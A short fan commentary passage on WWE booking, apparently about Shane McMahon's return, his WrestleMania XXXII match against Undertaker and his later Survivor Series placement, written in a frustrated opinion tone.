When McMahon came back to WWE, I lost my mind. It was one of the best surprises I ever could have imagined and I was even ok with him being on the “Wrestlemania XXXII” card due to all of the injuries. However, he completely lost me when he somehow lasted half an hour against Undertaker and whatever he had left went flying out the window when he was put on the Survivor Series roster. There was NO ONE else you could put in that spot? Like, no one at all?